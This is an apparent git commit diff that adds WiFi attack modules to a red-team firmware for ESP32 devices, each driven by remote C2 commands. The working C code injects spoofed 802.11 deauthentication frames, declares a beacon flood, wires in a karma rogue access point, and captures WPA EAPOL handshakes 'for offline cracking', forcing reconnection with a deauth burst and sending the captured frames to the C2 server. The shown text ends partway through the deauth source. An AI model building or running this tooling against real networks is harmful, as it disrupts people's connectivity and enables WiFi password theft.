ε - Add WiFi offensive capabilities to mod_redteam
Some checks failed
Discord Push Notification / notify (push) Has been cancelled

Phase 1 of v0.4.0 offensive modules:

- Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer
  for stealth scan, karma, capture — solves single-callback ESP-IDF limit
- Attack manager (rt_attack): mutual exclusion ensuring only one
  offensive operation runs at a time
- Deauth refactored to use shared promisc dispatcher + attack lock
- Stealth passive scan migrated to promisc dispatcher
- Karma attack (rt_karma): probe request listener + probe response
  injection + rogue SoftAP with most-requested SSID + DNS responder
- WPA handshake capture (rt_capture): EAPOL frame capture via
  promiscuous DATA filter, 4-way handshake identification, optional
  deauth burst to trigger reconnection
- Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options
- 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients,
  rt_capture, rt_capture_stop (14 total in mod_redteam)
This commit is contained in:
Eun0us 2026-03-01 02:08:28 +01:00
parent 920e8ec0bd
commit 2315979db0
15 changed files with 2103 additions and 16 deletions

View File

@ -1,5 +1,6 @@
idf_component_register(
SRCS cmd_redteam.c rt_config.c rt_hunt.c rt_stealth.c rt_captive.c rt_mesh.c
rt_promisc.c rt_attack.c rt_deauth.c rt_karma.c rt_capture.c
INCLUDE_DIRS .
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
REQUIRES core nvs_flash lwip esp_wifi esp_netif freertos esp_timer esp_event
)

View File

@ -1,6 +1,6 @@
/*
* cmd_redteam.c
* Red Team resilient connectivity 7 C2 commands.
* Red Team offensive operations C2 command handlers.
*/
#include "sdkconfig.h"
#include "cmd_redteam.h"
@ -17,6 +17,17 @@
#include "rt_hunt.h"
#include "rt_stealth.h"
#include "rt_mesh.h"
#include "rt_deauth.h"
#include "rt_promisc.h"
#include "rt_attack.h"
#ifdef CONFIG_RT_KARMA
#include "rt_karma.h"
#endif
#ifdef CONFIG_RT_CAPTURE
#include "rt_capture.h"
#endif
#define TAG "RT"
@ -221,6 +232,206 @@ static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx)
return 0;
}
/* ============================================================
* COMMAND: rt_deauth <bssid> [client] [count] [channel]
* Send 802.11 deauth frames to disconnect clients from an AP.
* ============================================================ */
static int cmd_rt_deauth(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_deauth <bssid> [client] [count] [channel]", req);
return -1;
}
/* Parse BSSID */
uint8_t bssid[6];
if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&bssid[0], &bssid[1], &bssid[2],
&bssid[3], &bssid[4], &bssid[5]) != 6) {
msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req);
return -1;
}
/* Parse optional client MAC */
uint8_t client[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
bool has_client = false;
if (argc >= 2 && strcmp(argv[1], "all") != 0) {
if (sscanf(argv[1], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&client[0], &client[1], &client[2],
&client[3], &client[4], &client[5]) == 6) {
has_client = true;
}
}
/* Parse optional count (0 = continuous) */
uint32_t count = 0;
if (argc >= 3) {
count = (uint32_t)atoi(argv[2]);
}
/* Parse optional channel */
uint8_t channel = 0;
if (argc >= 4) {
channel = (uint8_t)atoi(argv[3]);
}
rt_deauth_start(bssid, has_client ? client : NULL, channel, count, 10);
char buf[128];
snprintf(buf, sizeof(buf), "Deauth started: %s → %s%s",
argv[0],
has_client ? argv[1] : "broadcast",
count ? "" : " (continuous)");
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: rt_deauth_stop
* Stop the running deauth attack.
* ============================================================ */
static int cmd_rt_deauth_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_deauth_is_active()) {
msg_info(TAG, "Deauth not running", req);
return 0;
}
rt_deauth_stop();
msg_info(TAG, "Deauth stopped", req);
return 0;
}
/* ============================================================
* COMMAND: rt_karma [duration_s]
* Start karma listener (probe request responder + rogue AP).
* ============================================================ */
#ifdef CONFIG_RT_KARMA
static int cmd_rt_karma(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (rt_karma_is_active()) {
msg_info(TAG, "Karma already running", req);
return 0;
}
uint32_t duration = 0;
if (argc >= 1) {
duration = (uint32_t)atoi(argv[0]);
}
rt_karma_start(duration);
char buf[64];
snprintf(buf, sizeof(buf), "Karma started%s",
duration ? "" : " (continuous)");
msg_info(TAG, buf, req);
return 0;
}
static int cmd_rt_karma_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_karma_is_active()) {
msg_info(TAG, "Karma not running", req);
return 0;
}
rt_karma_stop();
msg_info(TAG, "Karma stopped", req);
return 0;
}
static int cmd_rt_karma_clients(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
rt_karma_client_t clients[RT_KARMA_MAX_CLIENTS];
int count = rt_karma_get_clients(clients, RT_KARMA_MAX_CLIENTS);
if (count == 0) {
msg_info(TAG, "No clients captured", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line),
"[%d] %02X:%02X:%02X:%02X:%02X:%02X ssid='%s' conn=%s",
i,
clients[i].mac[0], clients[i].mac[1], clients[i].mac[2],
clients[i].mac[3], clients[i].mac[4], clients[i].mac[5],
clients[i].ssid,
clients[i].connected ? "yes" : "no");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
#endif /* CONFIG_RT_KARMA */
/* ============================================================
* COMMAND: rt_capture <bssid> [channel] [deauth]
* Capture WPA 4-way handshake from target AP.
* ============================================================ */
#ifdef CONFIG_RT_CAPTURE
static int cmd_rt_capture(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_capture <bssid> [channel] [deauth]", req);
return -1;
}
uint8_t bssid[6];
if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&bssid[0], &bssid[1], &bssid[2],
&bssid[3], &bssid[4], &bssid[5]) != 6) {
msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req);
return -1;
}
uint8_t channel = 0;
if (argc >= 2) {
channel = (uint8_t)atoi(argv[1]);
}
bool send_deauth = false;
if (argc >= 3 && strcmp(argv[2], "deauth") == 0) {
send_deauth = true;
}
rt_capture_start(bssid, channel, send_deauth);
char buf[96];
snprintf(buf, sizeof(buf), "Capture started: %s ch=%d%s",
argv[0], channel, send_deauth ? " +deauth" : "");
msg_info(TAG, buf, req);
return 0;
}
static int cmd_rt_capture_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_capture_is_active()) {
msg_info(TAG, "Capture not running", req);
return 0;
}
rt_capture_stop();
msg_info(TAG, "Capture stopped", req);
return 0;
}
#endif /* CONFIG_RT_CAPTURE */
/* ============================================================
* Command table
* ============================================================ */
@ -295,6 +506,80 @@ static const command_t rt_cmds[] = {
.ctx = NULL,
.async = false,
},
{
.name = "rt_deauth",
.sub = NULL,
.help = "Deauth attack: rt_deauth <bssid> [client|all] [count] [channel]",
.min_args = 1,
.max_args = 4,
.handler = (command_handler_t)cmd_rt_deauth,
.ctx = NULL,
.async = true,
},
{
.name = "rt_deauth_stop",
.sub = NULL,
.help = "Stop deauth attack",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_deauth_stop,
.ctx = NULL,
.async = false,
},
#ifdef CONFIG_RT_KARMA
{
.name = "rt_karma",
.sub = NULL,
.help = "Karma: rt_karma [duration_s]",
.min_args = 0,
.max_args = 1,
.handler = (command_handler_t)cmd_rt_karma,
.ctx = NULL,
.async = true,
},
{
.name = "rt_karma_stop",
.sub = NULL,
.help = "Stop karma",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_karma_stop,
.ctx = NULL,
.async = false,
},
{
.name = "rt_karma_clients",
.sub = NULL,
.help = "List karma-captured clients",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_karma_clients,
.ctx = NULL,
.async = false,
},
#endif
#ifdef CONFIG_RT_CAPTURE
{
.name = "rt_capture",
.sub = NULL,
.help = "Capture WPA handshake: rt_capture <bssid> [ch] [deauth]",
.min_args = 1,
.max_args = 3,
.handler = (command_handler_t)cmd_rt_capture,
.ctx = NULL,
.async = true,
},
{
.name = "rt_capture_stop",
.sub = NULL,
.help = "Stop handshake capture",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_capture_stop,
.ctx = NULL,
.async = false,
},
#endif
};
/* ============================================================
@ -306,6 +591,8 @@ void mod_redteam_register_commands(void)
rt_config_init();
rt_config_save_orig_mac();
rt_promisc_init();
rt_attack_init();
for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) {
command_register(&rt_cmds[i]);

View File

@ -0,0 +1,96 @@
/*
* rt_attack.c
* Mutual exclusion for offensive operations.
*
* Ensures only one attack runs at a time (deauth, beacon, karma, capture).
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_REDTEAM
#include "freertos/FreeRTOS.h"
#include "freertos/semphr.h"
#include "esp_log.h"
#include "rt_attack.h"
#define TAG "RT_ATTACK"
static SemaphoreHandle_t s_mutex = NULL;
static rt_attack_type_t s_current = RT_ATTACK_NONE;
static bool s_inited = false;
static const char *s_names[] = {
[RT_ATTACK_NONE] = "none",
[RT_ATTACK_DEAUTH] = "deauth",
[RT_ATTACK_BEACON] = "beacon",
[RT_ATTACK_KARMA] = "karma",
[RT_ATTACK_CAPTURE] = "capture",
};
void rt_attack_init(void)
{
if (s_inited) return;
s_mutex = xSemaphoreCreateMutex();
configASSERT(s_mutex);
s_current = RT_ATTACK_NONE;
s_inited = true;
}
esp_err_t rt_attack_start(rt_attack_type_t type)
{
if (!s_inited) rt_attack_init();
xSemaphoreTake(s_mutex, portMAX_DELAY);
if (s_current != RT_ATTACK_NONE) {
ESP_LOGW(TAG, "Cannot start %s: %s already running",
s_names[type], s_names[s_current]);
xSemaphoreGive(s_mutex);
return ESP_ERR_INVALID_STATE;
}
s_current = type;
ESP_LOGI(TAG, "Attack started: %s", s_names[type]);
xSemaphoreGive(s_mutex);
return ESP_OK;
}
void rt_attack_stop(void)
{
if (!s_inited) return;
xSemaphoreTake(s_mutex, portMAX_DELAY);
if (s_current != RT_ATTACK_NONE) {
ESP_LOGI(TAG, "Attack stopped: %s", s_names[s_current]);
}
s_current = RT_ATTACK_NONE;
xSemaphoreGive(s_mutex);
}
rt_attack_type_t rt_attack_current(void)
{
if (!s_inited) return RT_ATTACK_NONE;
xSemaphoreTake(s_mutex, portMAX_DELAY);
rt_attack_type_t t = s_current;
xSemaphoreGive(s_mutex);
return t;
}
const char *rt_attack_name(void)
{
return s_names[rt_attack_current()];
}
bool rt_attack_is_active(void)
{
return rt_attack_current() != RT_ATTACK_NONE;
}
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,49 @@
/*
* rt_attack.h
* Mutual exclusion for offensive operations.
*
* Only one attack (deauth, beacon, karma, capture) can run at a time.
* Each attack calls rt_attack_start() before launching its task and
* rt_attack_stop() when it finishes or is aborted.
*/
#pragma once
#include <stdbool.h>
#include "esp_err.h"
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
RT_ATTACK_NONE = 0,
RT_ATTACK_DEAUTH,
RT_ATTACK_BEACON,
RT_ATTACK_KARMA,
RT_ATTACK_CAPTURE,
} rt_attack_type_t;
/* Initialise the attack manager (call once, idempotent). */
void rt_attack_init(void);
/*
* Try to start an attack. Returns ESP_OK if acquired, or
* ESP_ERR_INVALID_STATE if another attack is already running.
*/
esp_err_t rt_attack_start(rt_attack_type_t type);
/* Release the attack lock (call from the stopping attack). */
void rt_attack_stop(void);
/* Current attack type (NONE if idle). */
rt_attack_type_t rt_attack_current(void);
/* Human-readable name for the current attack. */
const char *rt_attack_name(void);
/* True if any attack is in progress. */
bool rt_attack_is_active(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,40 @@
/*
* rt_beacon.h
* 802.11 beacon frame flood spam fake SSIDs.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
RT_BEACON_RANDOM, /* Random SSIDs + random BSSIDs */
RT_BEACON_RICKROLL, /* Rick Astley lyrics as SSIDs */
RT_BEACON_CUSTOM, /* User-supplied SSID list */
} rt_beacon_mode_t;
/*
* Start beacon flood.
* mode flood mode (random, rickroll, custom)
* channel WiFi channel (1-13), 0 = current
* count total beacons to send, 0 = continuous
* ssids NULL-terminated array of SSIDs (only for CUSTOM mode)
*/
void rt_beacon_start(rt_beacon_mode_t mode,
uint8_t channel,
uint32_t count,
const char **ssids);
/* Stop the beacon flood task. */
void rt_beacon_stop(void);
/* True if beacon flood is running. */
bool rt_beacon_is_active(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,383 @@
/*
* rt_capture.c
* WPA/WPA2 4-way handshake capture via promiscuous mode.
*
* Captures EAPOL frames (EtherType 0x888E) from data frames on the
* target channel. Identifies the 4 handshake messages via the Key Info
* field and stores them for transmission to C3PO.
*
* Optionally sends a short deauth burst to trigger client reconnection.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_CAPTURE)
#include <string.h>
#include <stdatomic.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "rt_capture.h"
#include "rt_promisc.h"
#include "rt_attack.h"
#include "utils.h"
#define TAG "RT_CAPTURE"
/* ============================================================
* EAPOL / 802.1X constants
* ============================================================ */
/* EtherType for 802.1X authentication */
#define ETHERTYPE_EAPOL 0x888E
/* EAPOL Key Info flags (big-endian in the frame) */
#define KEY_INFO_MIC (1 << 8) /* bit 8: MIC present */
#define KEY_INFO_SECURE (1 << 9) /* bit 9: secure */
#define KEY_INFO_INSTALL (1 << 6) /* bit 6: install */
#define KEY_INFO_ACK (1 << 7) /* bit 7: ACK */
#define KEY_INFO_PAIRWISE (1 << 3) /* bit 3: pairwise */
/* IEEE 802.11 data frame with LLC/SNAP encapsulation */
/* Data frame header: 24 bytes (no QoS) or 26 bytes (QoS) */
/* LLC/SNAP: AA AA 03 00 00 00 [ethertype 2 bytes] */
/* ============================================================
* State
* ============================================================ */
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
static TaskHandle_t s_task = NULL;
static rt_capture_result_t s_result;
/* Capture parameters */
static uint8_t s_target_bssid[6];
static uint8_t s_target_channel;
static bool s_send_deauth;
/* ============================================================
* Identify EAPOL handshake message number from Key Info
* ============================================================
*
* M1: APClient ACK=1, MIC=0, Install=0, Pairwise=1
* M2: ClientAP ACK=0, MIC=1, Install=0, Pairwise=1
* M3: APClient ACK=1, MIC=1, Install=1, Pairwise=1
* M4: ClientAP ACK=0, MIC=1, Install=0, Pairwise=1, nonce=0
*/
static int identify_eapol_msg(const uint8_t *eapol, size_t len)
{
/* Minimum EAPOL-Key frame: 4 (802.1X hdr) + 95 (key frame) = 99 bytes */
if (len < 99) return 0;
/* 802.1X header: version(1) + type(1) + length(2) */
uint8_t eapol_type = eapol[1];
if (eapol_type != 3) return 0; /* type 3 = EAPOL-Key */
/* Key descriptor: type(1) at offset 4 */
/* Key Info at offset 5-6 (big-endian) */
uint16_t key_info = (eapol[5] << 8) | eapol[6];
bool ack = (key_info & KEY_INFO_ACK) != 0;
bool mic = (key_info & KEY_INFO_MIC) != 0;
bool install = (key_info & KEY_INFO_INSTALL) != 0;
if (ack && !mic && !install) return 1; /* M1 */
if (!ack && mic && !install) {
/* M2 or M4 — distinguish by Key Nonce (offset 17, 32 bytes) */
/* M4 has all-zero nonce */
bool nonce_zero = true;
for (int i = 17; i < 17 + 32 && i < (int)len; i++) {
if (eapol[i] != 0) { nonce_zero = false; break; }
}
return nonce_zero ? 4 : 2;
}
if (ack && mic && install) return 3; /* M3 */
return 0; /* unknown */
}
/* ============================================================
* Promiscuous callback look for EAPOL in data frames
* ============================================================ */
static void IRAM_ATTR capture_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_DATA) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
const uint8_t *payload = pkt->payload;
size_t pkt_len = pkt->rx_ctrl.sig_len;
if (pkt_len > 4) pkt_len -= 4; /* strip FCS */
/* Data frame header: minimum 24 bytes */
if (pkt_len < 24 + 8) return; /* header + LLC/SNAP minimum */
/* Check if BSSID matches (addr1 or addr2 or addr3 depending on flags) */
uint16_t fc = payload[0] | (payload[1] << 8);
uint8_t to_ds = (fc >> 8) & 0x01;
uint8_t from_ds = (fc >> 9) & 0x01;
const uint8_t *bssid_field;
const uint8_t *src_field;
const uint8_t *dst_field;
if (to_ds == 0 && from_ds == 1) {
/* From AP to client: addr1=dst, addr2=BSSID, addr3=src */
dst_field = payload + 4;
bssid_field = payload + 10;
src_field = payload + 16;
} else if (to_ds == 1 && from_ds == 0) {
/* From client to AP: addr1=BSSID, addr2=src, addr3=dst */
bssid_field = payload + 4;
src_field = payload + 10;
dst_field = payload + 16;
} else {
return; /* WDS or IBSS, skip */
}
/* Filter by target BSSID */
if (memcmp(bssid_field, s_target_bssid, 6) != 0) return;
/* Determine header length (24 or 26 for QoS) */
uint8_t subtype = (fc >> 4) & 0x0F;
size_t hdr_len = 24;
if (subtype >= 8) hdr_len = 26; /* QoS data */
if (pkt_len < hdr_len + 8) return;
/* LLC/SNAP header: AA AA 03 00 00 00 [ethertype] */
const uint8_t *llc = payload + hdr_len;
if (llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03) return;
/* EtherType at offset 6-7 of LLC/SNAP (big-endian) */
uint16_t ethertype = (llc[6] << 8) | llc[7];
if (ethertype != ETHERTYPE_EAPOL) return;
/* EAPOL frame starts after LLC/SNAP (8 bytes) */
const uint8_t *eapol = llc + 8;
size_t eapol_len = pkt_len - hdr_len - 8;
int msg = identify_eapol_msg(eapol, eapol_len);
if (msg < 1 || msg > 4) return;
/* Store the frame */
int idx = msg - 1;
if (s_result.captured & (1 << idx)) return; /* already have this one */
size_t store_len = eapol_len;
if (store_len > RT_CAPTURE_MAX_EAPOL_LEN) store_len = RT_CAPTURE_MAX_EAPOL_LEN;
memcpy(s_result.frames[idx].data, eapol, store_len);
s_result.frames[idx].len = store_len;
s_result.frames[idx].msg_num = msg;
s_result.captured |= (1 << idx);
/* Track client MAC */
if (msg == 2 || msg == 4) {
memcpy(s_result.client, src_field, 6);
} else {
memcpy(s_result.client, dst_field, 6);
}
ESP_LOGI(TAG, "Captured EAPOL M%d (%zu bytes) from %02X:%02X:%02X:%02X:%02X:%02X",
msg, eapol_len,
s_result.client[0], s_result.client[1], s_result.client[2],
s_result.client[3], s_result.client[4], s_result.client[5]);
/* Check if complete */
if (s_result.captured == 0x0F) {
s_result.complete = true;
ESP_LOGI(TAG, "Full 4-way handshake captured!");
}
}
/* Handler for the promiscuous dispatcher */
static const rt_promisc_handler_t s_capture_handler = {
.cb = capture_promisc_cb,
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA | WIFI_PROMIS_FILTER_MASK_MGMT,
.tag = "capture",
};
/* ============================================================
* Short deauth burst (does NOT use the attack lock internal use)
* ============================================================ */
typedef struct __attribute__((packed)) {
uint16_t frame_ctrl;
uint16_t duration;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
uint16_t seq_ctrl;
uint16_t reason;
} deauth_frame_t;
static void send_deauth_burst(const uint8_t bssid[6], int count)
{
deauth_frame_t frame;
memset(&frame, 0, sizeof(frame));
frame.frame_ctrl = 0x00C0; /* deauth */
frame.reason = 0x0007;
/* Broadcast deauth */
memset(frame.addr1, 0xFF, 6);
memcpy(frame.addr2, bssid, 6);
memcpy(frame.addr3, bssid, 6);
for (int i = 0; i < count; i++) {
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
vTaskDelay(pdMS_TO_TICKS(5));
}
ESP_LOGI(TAG, "Sent %d deauth frames to trigger reconnection", count);
}
/* ============================================================
* Capture task
* ============================================================ */
static void capture_task(void *arg)
{
(void)arg;
/* Reset result */
memset(&s_result, 0, sizeof(s_result));
memcpy(s_result.bssid, s_target_bssid, 6);
/* Register promiscuous handler */
esp_err_t ret = rt_promisc_register(&s_capture_handler);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promisc register failed");
rt_attack_stop();
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
return;
}
/* Set channel */
if (s_target_channel > 0 && s_target_channel <= 13) {
rt_promisc_set_channel(s_target_channel);
}
rt_promisc_enable();
ESP_LOGI(TAG, "Capture started on ch=%d for BSSID=%02X:%02X:%02X:%02X:%02X:%02X",
s_target_channel,
s_target_bssid[0], s_target_bssid[1], s_target_bssid[2],
s_target_bssid[3], s_target_bssid[4], s_target_bssid[5]);
/* Optionally send deauth to force reconnection */
if (s_send_deauth) {
vTaskDelay(pdMS_TO_TICKS(500));
send_deauth_burst(s_target_bssid, 5);
}
/* Wait for capture to complete or user stop */
while (atomic_load(&s_active) && !s_result.complete) {
vTaskDelay(pdMS_TO_TICKS(500));
/* Report progress */
if (s_result.captured) {
ESP_LOGD(TAG, "Progress: M1=%c M2=%c M3=%c M4=%c",
(s_result.captured & 0x01) ? 'Y' : '-',
(s_result.captured & 0x02) ? 'Y' : '-',
(s_result.captured & 0x04) ? 'Y' : '-',
(s_result.captured & 0x08) ? 'Y' : '-');
}
}
/* Send results to C2 if we captured anything */
if (s_result.captured) {
char buf[128];
for (int i = 0; i < 4; i++) {
if (!(s_result.captured & (1 << i))) continue;
/* Format: EAPOL|<bssid>|<client>|M<n>|<hex_data> */
/* Send the raw frame via msg_data for C3PO to process */
snprintf(buf, sizeof(buf),
"EAPOL|%02X%02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X%02X|M%d|%zu",
s_result.bssid[0], s_result.bssid[1], s_result.bssid[2],
s_result.bssid[3], s_result.bssid[4], s_result.bssid[5],
s_result.client[0], s_result.client[1], s_result.client[2],
s_result.client[3], s_result.client[4], s_result.client[5],
i + 1, s_result.frames[i].len);
msg_data(TAG, buf, strlen(buf), false, "");
/* Send the raw EAPOL bytes */
msg_data(TAG, s_result.frames[i].data, s_result.frames[i].len,
(i == 3 || !(s_result.captured & ~((1 << (i+1)) - 1))),
"");
}
snprintf(buf, sizeof(buf), "Capture done: %s (%d/4 messages)",
s_result.complete ? "COMPLETE" : "partial",
__builtin_popcount(s_result.captured));
msg_info(TAG, buf, "");
}
rt_promisc_unregister(&s_capture_handler);
rt_promisc_disable();
rt_attack_stop();
ESP_LOGI(TAG, "Capture stopped: %d/4 messages",
__builtin_popcount(s_result.captured));
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth)
{
if (atomic_load(&s_active)) {
ESP_LOGW(TAG, "Capture already running");
return;
}
if (rt_attack_start(RT_ATTACK_CAPTURE) != ESP_OK) {
ESP_LOGW(TAG, "Cannot start: another attack running (%s)",
rt_attack_name());
return;
}
memcpy(s_target_bssid, bssid, 6);
s_target_channel = channel;
s_send_deauth = send_deauth;
atomic_store(&s_active, true);
xTaskCreatePinnedToCore(
capture_task,
"rt_capture",
6144,
NULL,
6,
&s_task,
1 /* Core 1 */
);
}
void rt_capture_stop(void)
{
atomic_store(&s_active, false);
}
bool rt_capture_is_active(void)
{
return atomic_load(&s_active);
}
const rt_capture_result_t *rt_capture_get_result(void)
{
return &s_result;
}
#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_CAPTURE */

View File

@ -0,0 +1,51 @@
/*
* rt_capture.h
* WPA/WPA2 4-way handshake (EAPOL) capture for offline cracking.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
#define RT_CAPTURE_MAX_EAPOL_LEN 256
/* Captured EAPOL frame */
typedef struct {
uint8_t data[RT_CAPTURE_MAX_EAPOL_LEN];
size_t len;
uint8_t msg_num; /* 1-4 for each handshake message */
} rt_eapol_frame_t;
/* Capture result */
typedef struct {
uint8_t bssid[6];
uint8_t client[6];
rt_eapol_frame_t frames[4]; /* M1..M4 */
uint8_t captured; /* bitmask: bit 0=M1, bit 1=M2, etc. */
bool complete; /* all 4 messages captured */
} rt_capture_result_t;
/*
* Start handshake capture.
* bssid target AP BSSID (6 bytes)
* channel WiFi channel (1-13), 0 = current
* send_deauth if true, send a few deauth frames to force reconnection
*/
void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth);
/* Stop capture. */
void rt_capture_stop(void);
/* True if capture is running. */
bool rt_capture_is_active(void);
/* Get the current capture result (may be incomplete). */
const rt_capture_result_t *rt_capture_get_result(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,206 @@
/*
* rt_deauth.c
* 802.11 deauthentication frame injection via esp_wifi_80211_tx().
*
* Sends deauth frames to disconnect clients from an AP.
* Supports targeted (single client) and broadcast (all clients) modes.
*
* Uses rt_promisc for promiscuous mode management and rt_attack for
* mutual exclusion with other offensive operations.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdatomic.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "rt_deauth.h"
#include "rt_promisc.h"
#include "rt_attack.h"
#define TAG "RT_DEAUTH"
/* ============================================================
* 802.11 Deauth frame (26 bytes)
* ============================================================
*
* Frame Control: 0x00C0 (type=0 mgmt, subtype=0xC deauth)
* Duration: 0x0000
* Addr1: Destination (client or FF:FF:FF:FF:FF:FF)
* Addr2: Source (BSSID we impersonate the AP)
* Addr3: BSSID
* Seq Control: 0x0000 (auto-filled by driver if en_sys_seq=true)
* Reason Code: 0x0007 (Class 3 frame from nonassociated STA)
*/
typedef struct __attribute__((packed)) {
uint16_t frame_ctrl;
uint16_t duration;
uint8_t addr1[6]; /* receiver */
uint8_t addr2[6]; /* transmitter (spoofed AP) */
uint8_t addr3[6]; /* BSSID */
uint16_t seq_ctrl;
uint16_t reason;
} deauth_frame_t;
_Static_assert(sizeof(deauth_frame_t) == 26, "deauth frame must be 26 bytes");
static const uint8_t BROADCAST_MAC[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
/* Task state */
static TaskHandle_t s_task = NULL;
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
/* Parameters passed to the task */
typedef struct {
uint8_t bssid[6];
uint8_t client[6];
bool broadcast;
uint8_t channel;
uint32_t count;
uint32_t delay_ms;
} deauth_params_t;
static deauth_params_t s_params;
/* ============================================================
* Deauth task runs on Core 1
* ============================================================ */
static void deauth_task(void *arg)
{
deauth_params_t *p = (deauth_params_t *)arg;
/* Switch to target channel via the shared dispatcher */
if (p->channel > 0 && p->channel <= 13) {
rt_promisc_enable();
rt_promisc_set_channel(p->channel);
}
/* Build the deauth frame */
deauth_frame_t frame;
memset(&frame, 0, sizeof(frame));
frame.frame_ctrl = 0x00C0; /* deauth */
frame.reason = 0x0007; /* Class 3 frame from nonassociated STA */
/* Addr2/Addr3 = BSSID (we pretend to be the AP) */
memcpy(frame.addr2, p->bssid, 6);
memcpy(frame.addr3, p->bssid, 6);
/* Addr1 = target client or broadcast */
if (p->broadcast) {
memcpy(frame.addr1, BROADCAST_MAC, 6);
} else {
memcpy(frame.addr1, p->client, 6);
}
uint32_t delay = p->delay_ms ? p->delay_ms : 10;
uint32_t sent = 0;
bool continuous = (p->count == 0);
ESP_LOGI(TAG, "Deauth started: bssid=%02X:%02X:%02X:%02X:%02X:%02X "
"target=%s ch=%d count=%s delay=%"PRIu32"ms",
p->bssid[0], p->bssid[1], p->bssid[2],
p->bssid[3], p->bssid[4], p->bssid[5],
p->broadcast ? "broadcast" : "targeted",
p->channel,
continuous ? "infinite" : "finite",
delay);
while (atomic_load(&s_active)) {
/* Send deauth from AP to client */
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
/* Also send deauth from client to AP (bidirectional) */
if (!p->broadcast) {
deauth_frame_t rev;
memcpy(&rev, &frame, sizeof(rev));
memcpy(rev.addr1, p->bssid, 6); /* receiver = AP */
memcpy(rev.addr2, p->client, 6); /* transmitter = client */
/* addr3 stays = BSSID */
esp_wifi_80211_tx(WIFI_IF_STA, &rev, sizeof(rev), false);
}
sent++;
if (!continuous && sent >= p->count) {
break;
}
vTaskDelay(pdMS_TO_TICKS(delay));
}
ESP_LOGI(TAG, "Deauth stopped: %"PRIu32" frames sent", sent * (p->broadcast ? 1 : 2));
rt_promisc_disable();
rt_attack_stop();
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void rt_deauth_start(const uint8_t bssid[6],
const uint8_t *client,
uint8_t channel,
uint32_t count,
uint32_t delay_ms)
{
if (atomic_load(&s_active)) {
rt_deauth_stop();
vTaskDelay(pdMS_TO_TICKS(100));
}
/* Acquire the attack lock */
if (rt_attack_start(RT_ATTACK_DEAUTH) != ESP_OK) {
ESP_LOGW(TAG, "Cannot start deauth: another attack is running (%s)",
rt_attack_name());
return;
}
memcpy(s_params.bssid, bssid, 6);
if (client == NULL || memcmp(client, BROADCAST_MAC, 6) == 0) {
memcpy(s_params.client, BROADCAST_MAC, 6);
s_params.broadcast = true;
} else {
